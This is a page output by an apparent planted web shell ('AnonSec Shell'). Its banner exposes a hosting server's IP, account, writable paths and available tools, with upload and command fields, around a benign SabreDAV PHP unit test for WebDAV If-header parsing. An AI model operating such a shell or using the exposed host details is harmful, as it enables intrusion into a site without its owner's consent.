AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awebpaca/Dolibarr/htdocs/includes/sabre/sabre/dav/tests/Sabre/DAV/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/awebpaca/Dolibarr/htdocs/includes/sabre/sabre/dav/tests/Sabre/DAV/GetIfConditionsTest.php
<?php

namespace Sabre\DAV;

use Sabre\HTTP;

require_once 'Sabre/HTTP/ResponseMock.php';
require_once 'Sabre/DAV/AbstractServer.php';

class GetIfConditionsTest extends AbstractServer {

    function testNoConditions() {

        $request = new HTTP\Request();

        $conditions = $this->server->getIfConditions($request);
        $this->assertEquals([], $conditions);

    }

    function testLockToken() {

        $request = new HTTP\Request('GET', '/path/', ['If' => '(<opaquelocktoken:token1>)']);
        $conditions = $this->server->getIfConditions($request);

        $compare = [

            [
                'uri'    => 'path',
                'tokens' => [
                    [
                        'negate' => false,
                        'token'  => 'opaquelocktoken:token1',
                        'etag'   => '',
                    ],
                ],

            ],

        ];

        $this->assertEquals($compare, $conditions);

    }

    function testNotLockToken() {

        $serverVars = [
            'HTTP_IF'     => '(Not <opaquelocktoken:token1>)',
            'REQUEST_URI' => '/bla'
        ];

        $request = HTTP\Sapi::createFromServerArray($serverVars);
        $conditions = $this->server->getIfConditions($request);

        $compare = [

            [
                'uri'    => 'bla',
                'tokens' => [
                    [
                        'negate' => true,
                        'token'  => 'opaquelocktoken:token1',
                        'etag'   => '',
                    ],
                ],

            ],

        ];
        $this->assertEquals($compare, $conditions);

    }

    function testLockTokenUrl() {

        $serverVars = [
            'HTTP_IF' => '<http://www.example.com/> (<opaquelocktoken:token1>)',
        ];

        $request = HTTP\Sapi::createFromServerArray($serverVars);
        $conditions = $this->server->getIfConditions($request);

        $compare = [

            [
                'uri'    => '',
                'tokens' => [
                    [
                        'negate' => false,
                        'token'  => 'opaquelocktoken:token1',
                        'etag'   => '',
                    ],
                ],

            ],

        ];
        $this->assertEquals($compare, $conditions);

    }

    function test2LockTokens() {

        $serverVars = [
            'HTTP_IF'     => '(<opaquelocktoken:token1>) (Not <opaquelocktoken:token2>)',
            'REQUEST_URI' => '/bla',
        ];

        $request = HTTP\Sapi::createFromServerArray($serverVars);
        $conditions = $this->server->getIfConditions($request);

        $compare = [

            [
                'uri'    => 'bla',
                'tokens' => [
                    [
                        'negate' => false,
                        'token'  => 'opaquelocktoken:token1',
                        'etag'   => '',
                    ],
                    [
                        'negate' => true,
                        'token'  => 'opaquelocktoken:token2',
                        'etag'   => '',
                    ],
                ],

            ],

        ];
        $this->assertEquals($compare, $conditions);

    }

    function test2UriLockTokens() {

        $serverVars = [
            'HTTP_IF' => '<http://www.example.org/node1> (<opaquelocktoken:token1>) <http://www.example.org/node2> (Not <opaquelocktoken:token2>)',
        ];

        $request = HTTP\Sapi::createFromServerArray($serverVars);
        $conditions = $this->server->getIfConditions($request);

        $compare = [

            [
                'uri'    => 'node1',
                'tokens' => [
                    [
                        'negate' => false,
                        'token'  => 'opaquelocktoken:token1',
                        'etag'   => '',
                    ],
                 ],
            ],
            [
                'uri'    => 'node2',
                'tokens' => [
                    [
                        'negate' => true,
                        'token'  => 'opaquelocktoken:token2',
                        'etag'   => '',
                    ],
                ],

            ],

        ];
        $this->assertEquals($compare, $conditions);

    }

    function test2UriMultiLockTokens() {

        $serverVars = [
            'HTTP_IF' => '<http://www.example.org/node1> (<opaquelocktoken:token1>) (<opaquelocktoken:token2>) <http://www.example.org/node2> (Not <opaquelocktoken:token3>)',
        ];

        $request = HTTP\Sapi::createFromServerArray($serverVars);
        $conditions = $this->server->getIfConditions($request);

        $compare = [

            [
                'uri'    => 'node1',
                'tokens' => [
                    [
                        'negate' => false,
                        'token'  => 'opaquelocktoken:token1',
                        'etag'   => '',
                    ],
                    [
                        'negate' => false,
                        'token'  => 'opaquelocktoken:token2',
                        'etag'   => '',
                    ],
                 ],
            ],
            [
                'uri'    => 'node2',
                'tokens' => [
                    [
                        'negate' => true,
                        'token'  => 'opaquelocktoken:token3',
                        'etag'   => '',
                    ],
                ],

            ],

        ];
        $this->assertEquals($compare, $conditions);

    }

    function testEtag() {

        $serverVars = [
            'HTTP_IF'     => '(["etag1"])',
            'REQUEST_URI' => '/foo',
        ];

        $request = HTTP\Sapi::createFromServerArray($serverVars);
        $conditions = $this->server->getIfConditions($request);

        $compare = [

            [
                'uri'    => 'foo',
                'tokens' => [
                    [
                        'negate' => false,
                        'token'  => '',
                        'etag'   => '"etag1"',
                    ],
                 ],
            ],

        ];
        $this->assertEquals($compare, $conditions);

    }

    function test2Etags() {

        $serverVars = [
            'HTTP_IF' => '<http://www.example.org/> (["etag1"]) (["etag2"])',
        ];

        $request = HTTP\Sapi::createFromServerArray($serverVars);
        $conditions = $this->server->getIfConditions($request);

        $compare = [

            [
                'uri'    => '',
                'tokens' => [
                    [
                        'negate' => false,
                        'token'  => '',
                        'etag'   => '"etag1"',
                    ],
                    [
                        'negate' => false,
                        'token'  => '',
                        'etag'   => '"etag2"',
                    ],
                 ],
            ],

        ];
        $this->assertEquals($compare, $conditions);

    }

    function testComplexIf() {

        $serverVars = [
            'HTTP_IF' => '<http://www.example.org/node1> (<opaquelocktoken:token1> ["etag1"]) ' .
                         '(Not <opaquelocktoken:token2>) (["etag2"]) <http://www.example.org/node2> ' .
                         '(<opaquelocktoken:token3>) (Not <opaquelocktoken:token4>) (["etag3"])',
        ];

        $request = HTTP\Sapi::createFromServerArray($serverVars);
        $conditions = $this->server->getIfConditions($request);

        $compare = [

            [
                'uri'    => 'node1',
                'tokens' => [
                    [
                        'negate' => false,
                        'token'  => 'opaquelocktoken:token1',
                        'etag'   => '"etag1"',
                    ],
                    [
                        'negate' => true,
                        'token'  => 'opaquelocktoken:token2',
                        'etag'   => '',
                    ],
                    [
                        'negate' => false,
                        'token'  => '',
                        'etag'   => '"etag2"',
                    ],
                 ],
            ],
            [
                'uri'    => 'node2',
                'tokens' => [
                    [
                        'negate' => false,
                        'token'  => 'opaquelocktoken:token3',
                        'etag'   => '',
                    ],
                    [
                        'negate' => true,
                        'token'  => 'opaquelocktoken:token4',
                        'etag'   => '',
                    ],
                    [
                        'negate' => false,
                        'token'  => '',
                        'etag'   => '"etag3"',
                    ],
                 ],
            ],

        ];
        $this->assertEquals($compare, $conditions);

    }

}

Anon7 - 2022
AnonSec Team